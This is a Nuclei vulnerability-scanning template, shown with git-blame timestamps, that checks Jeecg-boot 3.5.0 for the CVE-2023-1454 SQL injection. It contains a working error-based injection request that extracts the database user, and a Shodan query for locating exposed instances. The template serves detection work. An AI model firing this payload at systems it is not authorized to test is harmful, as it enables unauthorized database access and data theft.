nuclei-templates/http/cves/2023/CVE-2023-1454.yaml

69 lines
2.4 KiB
YAML
Raw Normal View History

2023-06-20 18:22:13 +00:00
id: CVE-2023-1454
info:
name: Jeecg-boot 3.5.0 qurestSql - SQL Injection
author: DhiyaneshDK
severity: critical
description: |
2023-06-20 18:25:20 +00:00
A vulnerability classified as critical has been found in jeecg-boot 3.5.0. This affects an unknown part of the file jmreport/qurestSql. The manipulation of the argument apiSelectId leads to sql injection. It is possible to initiate the attack remotely.
2023-09-27 15:51:13 +00:00
impact: |
Successful exploitation of this vulnerability could allow an attacker to execute arbitrary SQL queries, potentially leading to unauthorized access, data leakage, or data manipulation.
2023-09-06 11:43:37 +00:00
remediation: |
Upgrade Jeecg-boot to a patched version or apply the necessary security patches provided by the vendor.
2023-06-20 18:22:13 +00:00
reference:
- https://github.com/Sweelg/CVE-2023-1454-Jeecg-Boot-qurestSql-SQLvuln/tree/master
- https://nvd.nist.gov/vuln/detail/CVE-2023-1454
2023-07-11 19:49:27 +00:00
- https://vuldb.com/?ctiid.223299
- https://vuldb.com/?id.223299
2023-06-20 18:22:13 +00:00
classification:
cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H
cvss-score: 9.8
cve-id: CVE-2023-1454
cwe-id: CWE-89
2023-10-14 11:27:55 +00:00
epss-score: 0.0391
epss-percentile: 0.91023
2023-09-06 11:43:37 +00:00
cpe: cpe:2.3:a:jeecg:jeecg-boot:3.5.0:*:*:*:*:*:*:*
2023-06-20 18:22:13 +00:00
metadata:
verified: "true"
2023-09-06 11:43:37 +00:00
max-request: 1
2023-07-11 19:49:27 +00:00
vendor: jeecg
product: jeecg-boot
2023-09-06 11:43:37 +00:00
shodan-query: http.favicon.hash:1380908726
2023-06-20 18:22:13 +00:00
tags: cve,cve2023,jeecg,sqli
http:
- raw:
- |
POST /jeecg-boot/jmreport/qurestSql HTTP/1.1
Host: {{Hostname}}
Content-Type: application/json;charset=UTF-8
{"apiSelectId":"1316997232402231298","id":"1' or '%1%' like (updatexml(0x3a,concat(1,(select current_user)),1)) or '%%' like '"}
matchers-condition: and
matchers:
- type: word
part: body
words:
- "SQLException"
- "XPATH syntax error:"
condition: and
- type: word
part: header
words:
- application/json
- type: status
status:
- 200
2023-06-20 18:48:52 +00:00
extractors:
- type: regex
group: 1
regex:
- "XPATH syntax error: '([a-z_@%]+)'"
- "XPATH syntax error: '([a-z- @%]+)'"
- "XPATH syntax error: '([a-z@%0-9.]+)'"
2023-07-11 19:49:27 +00:00
part: body
# digest: 4a0a004730450220792ada0b20374217784987df108df6005d34948dce3f85e332036a2eaf0596f4022100d8a882a2d013f1ad14b3a730f9295ed28cba7bda06833e6d12657de13d488163:922c64590222798bb761d5b6d8e72950